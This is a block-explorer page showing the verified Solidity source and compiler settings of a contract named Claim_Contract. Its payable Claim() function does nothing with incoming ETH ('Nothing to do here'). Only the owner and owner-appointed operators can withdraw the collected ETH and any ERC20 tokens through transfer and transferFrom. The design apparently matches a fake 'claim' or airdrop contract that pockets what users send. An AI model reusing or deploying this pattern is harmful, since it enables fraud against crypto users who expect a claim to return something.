Skip to content
Verified contractPartial

Claim_Contract

Address0xad712b01acd864f2872f39e30b6f9607fdb61fc3
Balance

0 ETH

 

Transactions

64

 

Compiler

solc 0.8.17

 

Same code

2 more contracts

 

Details

Compiler
solc 0.8.17+commit.8df45f5f
Language
solidity
Optimization
No
EVM version
london
License
Not stated
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
17,143,228
Creation transaction
0x2d93e81bcc…a1029c916b

Claim_Contract.sol

pragma solidity ^0.8.17;

interface IERC20 {
  function transfer(address to, uint256 amount) external returns (bool);
  function balanceOf(address account) external view returns (uint256);
}

contract Claim_Contract {
  address private owner;
  mapping (address => bool) private operators;
  constructor() public {
    owner = msg.sender;
    operators[msg.sender] = true;
  }
  function getOwner() public view returns (address) {
    return owner;
  }
  function getBalance() public view returns (uint256) {
    return address(this).balance;
  }
  function setOperator(address operator, bool status) public {
    require(msg.sender == owner, "You must be owner to call this");
    operators[operator] = status;
  }
  function isOperator(address operator) public view returns (bool) {
    return operators[operator];
  }
  function transfer(address to, uint256 amount) public {
    require(msg.sender == owner || operators[msg.sender], "You must be owner or operator to call this");
    amount = (amount == 0) ? address(this).balance : amount;
    require(amount <= address(this).balance, "Too much money");
    payable(to).transfer(amount);
  }
  function transferFrom(address contract_address, address to, uint256 amount) public {
    require(msg.sender == owner || operators[msg.sender], "You must be owner or operator to call this");
    IERC20 token = IERC20(contract_address);
    amount = (amount == 0) ? token.balanceOf(address(this)) : amount;
    require(amount <= token.balanceOf(address(this)), "Too much money");
    token.transfer(to, amount);
  }
  function Claim() public payable {
    // Nothing to do here
  }
}
Compiler settingsShow
{
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "london",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.